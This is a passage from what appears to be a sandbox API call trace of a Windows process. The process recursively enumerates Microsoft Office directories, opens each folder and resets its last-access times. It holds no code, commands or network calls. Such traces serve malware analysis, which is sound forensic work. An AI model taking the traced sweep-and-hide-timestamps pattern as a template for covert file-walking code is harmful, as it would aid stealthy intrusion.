ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x5061, dwReserved0=0x0, dwReserved1=0x0, cFileName="SETUP.XML", cAlternateFileName="")) returned 1 [0050.971] FindNextFileW (in: hFindFile=0x459cb8, lpFindFileData=0x17ae718 | out: lpFindFileData=0x17ae718*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x468a2b70, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0x83258520, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x468a2b70, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x2213, dwReserved0=0x0, dwReserved1=0x0, cFileName="VisiorWW.XML", cAlternateFileName="")) returned 1 [0050.971] FindNextFileW (in: hFindFile=0x459cb8, lpFindFileData=0x17ae718 | out: lpFindFileData=0x17ae718*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x468a2b70, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0x83258520, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x468a2b70, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x2213, dwReserved0=0x0, dwReserved1=0x0, cFileName="VisiorWW.XML", cAlternateFileName="")) returned 0 [0050.971] GetLastError () returned 0x12 [0050.971] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xeeb288) returned 1 [0050.971] FindClose (in: hFindFile=0x459cb8 | out: hFindFile=0x459cb8) returned 1 [0050.971] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xeeb180) returned 1 [0050.971] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xeeb078) returned 1 [0050.971] FindNextFileW (in: hFindFile=0x459cf8, lpFindFileData=0x17ae9d0 | out: lpFindFileData=0x17ae9d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1e501370, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x1e501370, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1e501370, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Word.en-us", cAlternateFileName="")) returned 1 [0050.971] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x100) returned 0xeeb078 [0050.971] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Word.en-us" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\word.en-us"), fInfoLevelId=0x0, lpFileInformation=0x17ae8cc | out: lpFileInformation=0x17ae8cc*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1e501370, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x1e501370, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1e501370, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0051.013] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Word.en-us" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\word.en-us"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x178 [0051.013] SetFileTime (hFile=0x178, lpCreationTime=0x0, lpLastAccessTime=0x17ae910, lpLastWriteTime=0x17ae910) returned 0 [0051.013] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x4000) returned 0xef13b8 [0051.013] DeviceIoControl (in: hDevice=0x178, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0xef13b8, nOutBufferSize=0x4000, lpBytesReturned=0x17ae968, lpOverlapped=0x0 | out: lpOutBuffer=0xef13b8, lpBytesReturned=0x17ae968, lpOverlapped=0x0) returned 0 [0051.013] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xef13b8) returned 1 [0051.013] NtClose (Handle=0x178) returned 0x0 [0051.013] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xeeb078) returned 1 [0051.013] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee3850 [0051.013] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee38d8 [0051.013] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x100) returned 0xeeb078 [0051.013] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee3850) returned 1 [0051.013] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x100) returned 0xeeb180 [0051.013] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Word.en-us\\*", fInfoLevelId=0x1, lpFindFileData=0x17ae718, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x17ae718) returned 0x459cb8 [0051.014] FindNextFileW (in: hFindFile=0x459cb8, lpFindFileData=0x17ae718 | out: lpFindFileData=0x17ae718*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1e501370, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x1e501370, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1e501370, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x300000, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0051.014] FindNextFileW (in: hFindFile=0x459cb8, lpFindFileData=0x17ae718 | out: lpFindFileData=0x17ae718*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfe076d70, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x1e501370, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xfe076d70, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x978, dwReserved0=0x300000, dwReserved1=0x0, cFileName="SETUP.XML", cAlternateFileName="")) returned 1 [0051.014] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee3850 [0051.014] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee3850) returned 1 [0051.014] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee3850 [0051.014] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee3850) returned 1 [0051.014] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee3850 [0051.014] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x100) returned 0xeeb288 [0051.014] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee38d8) returned 1 [0051.014] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x18) returned 0xeee6e8 [0051.014] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x100) returned 0xeeef50 [0051.014] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee3850) returned 1 [0051.014] FindNextFileW (in: hFindFile=0x459cb8, lpFindFileData=0x17ae718 | out: lpFindFileData=0x17ae718*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfc8a9170, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x1e501370, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xfc8a9170, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x708, dwReserved0=0x300000, dwReserved1=0x0, cFileName="WordMUI.XML", cAlternateFileName="")) returned 1 [0051.014] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee3850 [0051.014] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee3850) returned 1 [0051.014] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee3850 [0051.014] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee3850) returned 1 [0051.014] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee3850 [0051.014] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x18) returned 0xeee708 [0051.014] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x100) returned 0xeef058 [0051.014] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee3850) returned 1 [0051.014] FindNextFileW (in: hFindFile=0x459cb8, lpFindFileData=0x17ae718 | out: lpFindFileData=0x17ae718*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfc8a9170, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x1e501370, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xfc8a9170, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x708, dwReserved0=0x300000, dwReserved1=0x0, cFileName="WordMUI.XML", cAlternateFileName="")) returned 0 [0051.014] GetLastError () returned 0x12 [0051.014] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Word.en-us\\*", fInfoLevelId=0x1, lpFindFileData=0x17ae718, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x17ae718) returned 0x459c78 [0051.014] FindClose (in: hFindFile=0x459cb8 | out: hFindFile=0x459cb8) returned 1 [0051.015] FindNextFileW (in: hFindFile=0x459c78, lpFindFileData=0x17ae718 | out: lpFindFileData=0x17ae718*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1e501370, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x1e501370, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1e501370, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x300000, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0051.015] FindNextFileW (in: hFindFile=0x459c78, lpFindFileData=0x17ae718 | out: lpFindFileData=0x17ae718*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfe076d70, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x1e501370, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xfe076d70, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x978, dwReserved0=0x300000, dwReserved1=0x0, cFileName="SETUP.XML", cAlternateFileName="")) returned 1 [0051.015] FindNextFileW (in: hFindFile=0x459c78, lpFindFileData=0x17ae718 | out: lpFindFileData=0x17ae718*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfc8a9170, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x1e501370, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xfc8a9170, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x708, dwReserved0=0x300000, dwReserved1=0x0, cFileName="WordMUI.XML", cAlternateFileName="")) returned 1 [0051.015] FindNextFileW (in: hFindFile=0x459c78, lpFindFileData=0x17ae718 | out: lpFindFileData=0x17ae718*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfc8a9170, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x1e501370, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xfc8a9170, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x708, dwReserved0=0x300000, dwReserved1=0x0, cFileName="WordMUI.XML", cAlternateFileName="")) returned 0 [0051.015] GetLastError () returned 0x12 [0051.015] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xeeb180) returned 1 [0051.015] FindClose (in: hFindFile=0x459c78 | out: hFindFile=0x459c78) returned 1 [0051.015] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xeeb288) returned 1 [0051.015] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xeeb078) returned 1 [0051.015] FindNextFileW (in: hFindFile=0x459cf8, lpFindFileData=0x17ae9d0 | out: lpFindFileData=0x17ae9d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1e501370, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x1e501370, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1e501370, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Word.en-us", cAlternateFileName="")) returned 0 [0051.015] GetLastError () returned 0x12 [0051.015] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xeead60) returned 1 [0051.015] FindClose (in: hFindFile=0x459cf8 | out: hFindFile=0x459cf8) returned 1 [0051.015] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xeeac58) returned 1 [0051.015] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xeea730) returned 1 [0051.015] FindNextFileW (in: hFindFile=0x459c38, lpFindFileData=0x17aec88 | out: lpFindFileData=0x17aec88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5de00200, ftCreationTime.dwHighDateTime=0x1cac9ac, ftLastAccessTime.dwLowDateTime=0x6bc953f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5de00200, ftLastWriteTime.dwHighDateTime=0x1cac9ac, nFileSizeHigh=0x0, nFileSizeLow=0x2560, dwReserved0=0x0, dwReserved1=0x0, cFileName="OFFREL.DLL", cAlternateFileName="")) returned 1 [0051.015] FindNextFileW (in: hFindFile=0x459c38, lpFindFileData=0x17aec88 | out: lpFindFileData=0x17aec88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5de00200, ftCreationTime.dwHighDateTime=0x1cac9ac, ftLastAccessTime.dwLowDateTime=0x6c2166d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5de00200, ftLastWriteTime.dwHighDateTime=0x1cac9ac, nFileSizeHigh=0x0, nFileSizeLow=0x4d88, dwReserved0=0x0, dwReserved1=0x0, cFileName="OPHPROXY.DLL", cAlternateFileName="")) returned 1 [0051.015] FindNextFileW (in: hFindFile=0x459c38, lpFindFileData=0x17aec88 | out: lpFindFileData=0x17aec88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf6a43200, ftCreationTime.dwHighDateTime=0x1cb700e, ftLastAccessTime.dwLowDateTime=0xcf47ffa0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xf6a43200, ftLastWriteTime.dwHighDateTime=0x1cb700e, nFileSizeHigh=0x0, nFileSizeLow=0x47a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="OPTINPS.DLL", cAlternateFileName="")) returned 1 [0051.015] FindNextFileW (in: hFindFile=0x459c38, lpFindFileData=0x17aec88 | out: lpFindFileData=0x17aec88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1570ec00, ftCreationTime.dwHighDateTime=0x1cbc479, ftLastAccessTime.dwLowDateTime=0xe5d21520, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x1570ec00, ftLastWriteTime.dwHighDateTime=0x1cbc479, nFileSizeHigh=0x0, nFileSizeLow=0xb7ba8, dwReserved0=0x0, dwReserved1=0x0, cFileName="PJ11OD11.DLL", cAlternateFileName="")) returned 1 [0051.015] FindNextFileW (in: hFindFile=0x459c38, lpFindFileData=0x17aec88 | out: lpFindFileData=0x17aec88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9a461000, ftCreationTime.dwHighDateTime=0x1cb7018, ftLastAccessTime.dwLowDateTime=0xe5d47680, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x9a461000, ftLastWriteTime.dwHighDateTime=0x1cb7018, nFileSizeHigh=0x0, nFileSizeLow=0x3fb90, dwReserved0=0x0, dwReserved1=0x0, cFileName="PJRESC.DLL", cAlternateFileName="")) returned 1 [0051.015] FindNextFileW (in: hFindFile=0x459c38, lpFindFileData=0x17aec88 | out: lpFindFileData=0x17aec88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x74bd800, ftCreationTime.dwHighDateTime=0x1cb71c8, ftLastAccessTime.dwLowDateTime=0xe5d93940, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x74bd800, ftLastWriteTime.dwHighDateTime=0x1cb71c8, nFileSizeHigh=0x0, nFileSizeLow=0x3c2b90, dwReserved0=0x0, dwReserved1=0x0, cFileName="PRJRES.DLL", cAlternateFileName="")) returned 1 [0051.015] FindNextFileW (in: hFindFile=0x459c38, lpFindFileData=0x17aec88 | out: lpFindFileData=0x17aec88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4a199a00, ftCreationTime.dwHighDateTime=0x1cba5d5, ftLastAccessTime.dwLowDateTime=0xdac16060, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x4a199a00, ftLastWriteTime.dwHighDateTime=0x1cba5d5, nFileSizeHigh=0x0, nFileSizeLow=0x1c8b68, dwReserved0=0x0, dwReserved1=0x0, cFileName="RICHED20.DLL", cAlternateFileName="")) returned 1 [0051.015] FindNextFileW (in: hFindFile=0x459c38, lpFindFileData=0x17aec88 | out: lpFindFileData=0x17aec88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7339ac00, ftCreationTime.dwHighDateTime=0x1cbdfc2, ftLastAccessTime.dwLowDateTime=0xe5d93940, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x7339ac00, ftLastWriteTime.dwHighDateTime=0x1cbdfc2, nFileSizeHigh=0x0, nFileSizeLow=0x90778, dwReserved0=0x0, dwReserved1=0x0, cFileName="SERCONV.DLL", cAlternateFileName="")) returned 1 [0051.015] FindNextFileW (in: hFindFile=0x459c38, lpFindFileData=0x17aec88 | out: lpFindFileData=0x17aec88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xded68100, ftCreationTime.dwHighDateTime=0x1cb5970, ftLastAccessTime.dwLowDateTime=0xd68d72e0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xded68100, ftLastWriteTime.dwHighDateTime=0x1cb5970, nFileSizeHigh=0x0, nFileSizeLow=0xc6b00, dwReserved0=0x0, dwReserved1=0x0, cFileName="USP10.DLL", cAlternateFileName="")) returned 1 [0051.015] FindNextFileW (in: hFindFile=0x459c38, lpFindFileData=0x17aec88 | out: lpFindFileData=0x17aec88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x520efa00, ftCreationTime.dwHighDateTime=0x1cbc41d, ftLastAccessTime.dwLowDateTime=0xd83064e0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x520efa00, ftLastWriteTime.dwHighDateTime=0x1cbc41d, nFileSizeHigh=0x0, nFileSizeLow=0xc150, dwReserved0=0x0, dwReserved1=0x0, cFileName="VBAJET32.DLL", cAlternateFileName="")) returned 1 [0051.016] FindNextFileW (in: hFindFile=0x459c38, lpFindFileData=0x17aec88 | out: lpFindFileData=0x17aec88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x14a84d00, ftCreationTime.dwHighDateTime=0x1caa6a1, ftLastAccessTime.dwLowDateTime=0x5e5e73d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x14a84d00, ftLastWriteTime.dwHighDateTime=0x1caa6a1, nFileSizeHigh=0x0, nFileSizeLow=0x23f90, dwReserved0=0x0, dwReserved1=0x0, cFileName="WISC30.DLL", cAlternateFileName="")) returned 1 [0051.016] FindNextFileW (in: hFindFile=0x459c38, lpFindFileData=0x17aec88 | out: lpFindFileData=0x17aec88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x14a84d00, ftCreationTime.dwHighDateTime=0x1caa6a1, ftLastAccessTime.dwLowDateTime=0x5e5e73d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x14a84d00, ftLastWriteTime.dwHighDateTime=0x1caa6a1, nFileSizeHigh=0x0, nFileSizeLow=0x23f90, dwReserved0=0x0, dwReserved1=0x0, cFileName="WISC30.DLL", cAlternateFileName="")) returned 0 [0051.016] GetLastError () returned 0x12 [0051.016] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed44a0) returned 1 [0051.016] FindClose (in: hFindFile=0x459c38 | out: hFindFile=0x459c38) returned 1 [0051.016] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed4a78) returned 1 [0051.016] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed4060) returned 1 [0051.016] FindNextFileW (in: hFindFile=0x459bb8, lpFindFileData=0x17aef40 | out: lpFindFileData=0x17aef40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x50e54b70, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6c23c830, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6c23c830, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="OfficeSoftwareProtectionPlatform", cAlternateFileName="")) returned 1 [0051.016] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x100) returned 0xed4a78 [0051.016] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed3ec8) returned 1 [0051.016] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x100) returned 0xeef160 [0051.016] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform" (normalized: "c:\\program files\\common files\\microsoft shared\\officesoftwareprotectionplatform"), fInfoLevelId=0x0, lpFileInformation=0x17aee3c | out: lpFileInformation=0x17aee3c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x50e54b70, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6c23c830, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6c23c830, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x1000)) returned 1 [0051.016] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform" (normalized: "c:\\program files\\common files\\microsoft shared\\officesoftwareprotectionplatform"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x170 [0051.016] SetFileTime (hFile=0x170, lpCreationTime=0x0, lpLastAccessTime=0x17aee80, lpLastWriteTime=0x17aee80) returned 0 [0051.016] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x4000) returned 0xef13b8 [0051.016] DeviceIoControl (in: hDevice=0x170, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0xef13b8, nOutBufferSize=0x4000, lpBytesReturned=0x17aeed8, lpOverlapped=0x0 | out: lpOutBuffer=0xef13b8, lpBytesReturned=0x17aeed8, lpOverlapped=0x0) returned 0 [0051.016] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xef13b8) returned 1 [0051.016] NtClose (Handle=0x170) returned 0x0 [0051.017] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xeef160) returned 1 [0051.017] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed3ec8 [0051.017] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed4060 [0051.017] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x100) returned 0xeef160 [0051.017] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed3ec8) returned 1 [0051.017] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x100) returned 0xeef268 [0051.017] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\*", fInfoLevelId=0x1, lpFindFileData=0x17aec88, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x17aec88) returned 0x459c38 [0051.017] FindNextFileW (in: hFindFile=0x459c38, lpFindFileData=0x17aec88 | out: lpFindFileData=0x17aec88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x50e54b70, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6c23c830, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6c23c830, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0051.017] FindNextFileW (in: hFindFile=0x459c38, lpFindFileData=0x17aec88 | out: lpFindFileData=0x17aec88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb169e000, ftCreationTime.dwHighDateTime=0x1ca911f, ftLastAccessTime.dwLowDateTime=0x6c23c830, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb169e000, ftLastWriteTime.dwHighDateTime=0x1ca911f, nFileSizeHigh=0x0, nFileSizeLow=0x24500, dwReserved0=0x0, dwReserved1=0x0, cFileName="OSPPC.DLL", cAlternateFileName="")) returned 1 [0051.018] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed3ec8 [0051.018] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed3ec8) returned 1 [0051.018] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed3ec8 [0051.018] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed3ec8) returned 1 [0051.018] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed3ec8 [0051.018] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed3ec8) returned 1 [0051.018] FindNextFileW (in: hFindFile=0x459c38, lpFindFileData=0x17aec88 | out: lpFindFileData=0x17aec88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb169e000, ftCreationTime.dwHighDateTime=0x1ca911f, ftLastAccessTime.dwLowDateTime=0x59922e50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb169e000, ftLastWriteTime.dwHighDateTime=0x1ca911f, nFileSizeHigh=0x0, nFileSizeLow=0x1be700, dwReserved0=0x0, dwReserved1=0x0, cFileName="OSPPCEXT.DLL", cAlternateFileName="")) returned 1 [0051.018] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed3ec8 [0051.018] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed3ec8) returned 1 [0051.018] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed3ec8 [0051.018] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed3ec8) returned 1 [0051.018] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed3ec8 [0051.018] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed3ec8) returned 1 [0051.018] FindNextFileW (in: hFindFile=0x459c38, lpFindFileData=0x17aec88 | out: lpFindFileData=0x17aec88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb169e000, ftCreationTime.dwHighDateTime=0x1ca911f, ftLastAccessTime.dwLowDateTime=0x6c23c830, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb169e000, 